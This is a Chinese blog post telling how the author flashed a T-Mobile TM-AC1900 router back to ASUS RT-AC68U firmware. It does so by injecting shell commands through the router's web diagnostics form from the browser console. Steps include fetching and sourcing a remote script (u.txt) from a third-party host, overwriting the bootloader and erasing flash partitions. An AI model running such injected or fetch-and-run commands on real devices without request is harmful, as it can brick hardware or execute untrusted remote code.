TM-AC1900 3199 版本固件刷回 AC68U 支持 AiMesh

  1. 相关资料
  2. 刷机文件、工具准备
    1. 修改 CFE 文件
    2. 刷机文件打包
  3. 检测环境是否正常
  4. 执行命令挂载U盘、读写权限修改、刷机……
    1. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    2. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    3. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    4. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    5. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    6. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    7. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    8. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    9. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    10. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    11. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    12. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
  5. AC68U 加固,防止变回 TM-AC1900
    1. 备份 mtd5_backup.bin 以备不时之需
    2. 升级到 45149 版本
  6. 附:TM-AC1900 3199 版本固件备份原始 CFE 文件方法
    1. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
    2. 复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮
  7. 总结
文章目录X

2016 年双十一淘宝买的水货华硕 RT-AC68U还在服役,折腾过双拨、刷过梅林……前阵子直接从梅林刷回原版。也是因为这个,大意了,中午登陆路由器看到有更新,于是点更新……

就这样悲剧了,三分钟、三分钟、三分钟……手机还是没有连上 WIFI。断电重启,依旧无法连接 WIFI。电脑网线连接路由器登陆,发现名字变成 TM-AC1900 了……版本:3.0.0.4.376_3199,这个 TM 版固件跟 AC68U 的肯定是有区别的,要不然不会配置都丢失了。

这下子隐约中有点不妙的感觉……很久前听说过华硕新版本固件锁 CEF,无法降级、无法刷第三方固件……

我就普通家用,AiMesh 也用不上,按理 TM-AC1900 固件也无所谓,可是心里不舒服,感觉换了个阉割路由器似的,于是遍地找教程看看能不能刷回来。

看了一圈,简单的方法试了一下——路由器后台直接刷、降级、救援模式加 TFTP 直接刷、进入 CFE 刷……对 3199 版本无效。应该就剩下两个方法可行:一个是拆 Flash 重新写;二是使用命令通过 U 盘重新刷 CFE 和固件。

第一个就干不了,没工具没技术,风险大大。第二个有教程:分享 TM-AC1900 3199 固件刷回 AC68U 支持 AiMesh 的方法

可是第二个方法第一步就卡住了——需要机器原本的 CFE 文件。TM-AC1900 3199 固件后台连开启 SSH 的选项都没有了,CFE 是无法备份导出了。后来翻帖子,CFE 区别只是 MAC 和 PIN 码,这个登录路由器就能获取到,然后用工具修改别人提供的 CFE 文件就好。

这里#44楼下了 CFE 和修改工具。(最终实测可用)

如需获取TM-AC1900 3199 固件原始 CFE 文件,参考文末:TM-AC1900 3199 版本固件备份原始 CFE 文件方法。然后使用在线工具:CFEditor: Make Routers Great Again 生成新的 CFE 文件。

相关资料

From AC1900 To AC68U After Revert——这个应该是原始教程,英文。如网络不给力,可点击此处下载备份导出的 PDF 版本

分享 TM-AC1900 3199 固件刷回 AC68U 支持 AiMesh 的方法——中文版教程。

华硕TM-AC1900 刷AC68P & AC68U x.32799可行aimes

TMO 3199 改 ac68 方法——docbill


下面开始刷机流程:

温馨提示:刷机有风险!后果使用者自负!!!

刷机文件、工具准备

文件:TM-AC1900toRT-AC68U-cyhour.com.zip(包含有:CFEEdit.exe、mtd-write、FW_RT_AC68U_30043763626.trx 和 cfe_ac68u_1020.bin),链接:OneDrive

修改 CFE 文件

登录路由器获取 LAN MAC、2.4G 无线 MAC、5G 无线 MAC 以及 PIN 码(LAN MAC 与 2.4G 无线 MAC 可能相同)。然后使用 CFEEdit.exe 打开 cfe_ac68u_1020.bin CFE 文件,修改4个地方:

et0macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 LAN MAC;

0:macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 2.4G 无线 MAC;

1:macaddr=00:00:00:00:00:00 中 00:00:00:00:00:00 改为 5G 无线 MAC;

secret_code=12345678 中 12345678 改为原来路由器 PIN 码。

修改完成后另存为 new_cfe.bin。

刷机文件打包

这里通过 U 盘方式刷机,准备一个闲置 U 盘,格式化为 NTFS,卷标改为 USB。把前面修改好的 new_cfe.bin 与 FW_RT_AC68U_30043763626.trx、mtd-write 一起打包成 zip 压缩包文件,命名为 files12345.zip 复制到 U 盘,然后U盘插到路由器上。

注意:压缩包文件不能在文件夹下。


以下操作请确保路由器能正常联网。

检测环境是否正常

打开 Chrome 浏览器(Firefox 应该也没问题),登录路由器,进去「网络工具」-「网络诊断」,鼠标右键检查(或 F12),打开「开发者工具界面」,点入 console 选项卡,备用。

validForm = function(){document.form.SystemCmd.value = "ping\necho hello world";return true;}

console 命令行下,复制、粘贴上面的命令,然后回车。再点击路由器界面「网络诊断」按钮。若正常,会在路由器「网络诊断」按钮下面文本框内出现 hello world。测试没问题,就可以正式开始。

 1012-network-tool-console

执行命令挂载U盘、读写权限修改、刷机……

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount -t tmpfs tmpfs userRpm";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\ncp -a . userRpm";return true;}

日志可能提示:cp: recursion detected, omitting directory "./userRpm"

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount --move userRpm .";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmount";return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nservice restart_httpd";return true;}

这步操作完成会提示 done. 然后等2分钟以上后再进行后面命令执行操作。(实测不等待也可以成功)

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}

此处命令执行成功,返回信息会有 u.txt 字样,如果没有表示失败。。这步操作如果失败,回到前面一步(第6步)重新操作。

实测,直接重新执行这一步,直到成功获取 u.txt 也可以。

Tips:可在电脑浏览器尝试 tmac1900.weebly.com 是否能访问,若不能,可将 tmac1900.weebly.com 换成 docbill.freeshell.org 重试。或将 u.txt 放至自己的服务器上,将 tmac1900.weebly.com 改成自己服务器地址。

u.txt 文件内容如下:

sh -x -c "`echo "$*"|sed -e 's,[.][.]\([0-9A-F][0-9A-F]\),%\1,g' -e 's,%20, ,g' -e 's,%23,#,g' -e 's,%24,$,g' -e 's,%2F,/,g' -e 's,%3A,:,g' -e 's,%3B,;,g' -e 's,%3C,<,g' -e 's,%3D,=,g' -e 's,%3E,>,g' -e 's,%5F,_,g' -e 's,%25,%,g' `"

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('find /tmp/mnt -name files12345.zip').replace(/%/g,'..');return true;}

这步完成 files12345.zip 应该就挂载上。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent('unzip -o /tmp/mnt/USB/files12345.zip').replace(/%/g,'..');return true;}

此步操作应该是解压 files12345.zip

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nchmod 755 mtd-write";return true;}

此步操作应该是修改 mtd-write 权限。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\n. u.txt "+encodeURIComponent("./mtd-write new_cfe.bin boot").replace(/%/g,'..');return true;}

此步操作应该应该就成功把新的 cfe 写进去了。

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nmtd-write2 FW_RT_AC68U_30043763626.trx linux";return true;}

这步完成,路由器新 cfe 和固件都已经刷写好。保险起见,操作完成后等待五分钟以上,然后关掉电源,按住 WPS 按钮不放同时开机,直至路由器后面白色 ASUS 指示灯闪烁,松开 WPS 按钮(这个步骤是清 NVRAM 恢复默认设置),待路由器自动重启完毕。如无意外,TM-AC1900 3199 版本固件已经成功刷回 AC68U 固件。

温馨提示:此步若失败也不怕,前面一步已经更新 cfe。清除 NVRAM,然后进入 miniCFE 应该可以直接刷 FW_RT_AC68U_30043763626.trx 固件。

AC68U 加固,防止变回 TM-AC1900

为保证 AC68U 升级固件不会变回 AC1900 还要对路由进行如下处理:

打开路由器 SSH,通过 SSH 连接路由器,依次执行如下命令:

cat /dev/mtd5 > /jffs/mtd5_backup.bin && mkdir /tmp/asus_jffs && mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs && rm -rf /tmp/asus_jffs/* && sync && umount /tmp/asus_jffs && ln -s /sbin/rc mtd-erase
./mtd-erase -d asus
rm -rf /jffs/.sys/RT-AC68U
nvram unset fw_check && nvram commit && reboot

等待路由器自动重启完成即可。

备份 mtd5_backup.bin 以备不时之需

使用 WinSCP 把 /jffs/mtd5_backup.bin 复制出来备份即可。

升级到 45149 版本

RT-AC68U 固件官方下载地址:https://www.asus.com.cn/Networking/RTAC68U/HelpDesk_BIOS/

2018/12/06 最新版本 3.0.0.4.384.45149:RT-AC68U_3.0.0.4_384_45149-g467037b.trx · OneDrive

RT-AC68U_3.0.0.4_384_45149-g467037b.trx 文件 MD5: b14c93ea7c5ebbde8270f4ee5a76a36e

升级方法:登录路由器,「系统管理」 - 「固件升级」,手工上传固件升级。建议不要在线更新!

升级完成后,重复上面加固操作,以防万一:

cat /dev/mtd5 > /jffs/mtd5_backup.bin && mkdir /tmp/asus_jffs && mount -t jffs2 /dev/mtdblock5 /tmp/asus_jffs && rm -rf /tmp/asus_jffs/* && sync && umount /tmp/asus_jffs && ln -s /sbin/rc mtd-erase
./mtd-erase -d asus
rm -rf /jffs/.sys/RT-AC68U
nvram unset fw_check && nvram commit && reboot

至此,折腾完毕。

温馨提示:刷机有风险!后果使用者自负!!!

附:TM-AC1900 3199 版本固件备份原始 CFE 文件方法

方法来自:From AC1900 To AC68U After Revert——这个应该是原始教程,英文。如网络不给力,可点击此处下载备份导出的 PDF 版本

validForm = function(){document.form.SystemCmd.value = "ping\nwget -A txt -r -nH -nd --no-check-certificate tmac1900.weebly.com";return true;}

前面烧写固件步骤执行上面命令成功后,执行如下命令:

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("cat /dev/mtd0 > /tmp/mnt/USB/original_cfe.bin").replace(/%/g,"..");return true;}

复制、粘贴如下命令到 console 后回车,然后点击路由器「网络诊断」按钮

validForm = function(){document.form.SystemCmd.value = "ping\nu.txt "+encodeURIComponent("umount  /tmp/mnt/USB").replace(/%/g,"..");return true;}

如无意外,至此成功获取TM-AC1900 3199 版本固件原始 CFE 文件保存到 U 盘。

总结

不作死就不会死!

声明:除非注明,常阳时光文章均为原创
本文地址:https://cyhour.com/1012/
转载时必须以链接形式注明原始出处。
Views: 2.5K Tags:  ,  , 

Comments:10

  1. 步骤这么多,看着都怕。。。

    2019.01.15 12:45 # 回复
    1楼
  2. 准备入ac86u,你的意思只用原版的固件吗?

    2019.01.15 14:25 # 回复
    2楼
    • @子痕 没锁的话可以第三方啊。
      ——–
      我这个是 TM-AC1900,俗称水货 AC68U,两者硬件据说是一样的。后台在线升级就会变回 TM-AC1900,TM 新版本固件有锁,有限制……这里按别人的教程刷回 AC68U 了。
      ——–
      那些增强功能我都用不上,前阵子刷回 AC68U 原版了。

      2019.01.15 14:40 # 回复
  3. K3还在睡觉,然而宽带已经被我停了

    2019.01.15 17:11 # 回复
    3楼
  4. 就喜欢看大佬折腾这些东西了。

    2019.01.16 11:21 # 回复
    4楼
    • @灵尘子 我这是作死,后台点升级了……然后又不甘心,刚好别人有教程,就折腾回来了。

      2019.01.16 12:35 # 回复
  5. AiMesh 切换的时候,虽然不会断线,但是要好一会才可以恢复网络

    2019.01.16 11:25 # 回复
    5楼

发表留言

炒蛋:Vultr 送$25 | 搬瓦工年付$19补货,优惠码 BWH26FXH3HIQ | 推荐VPS信息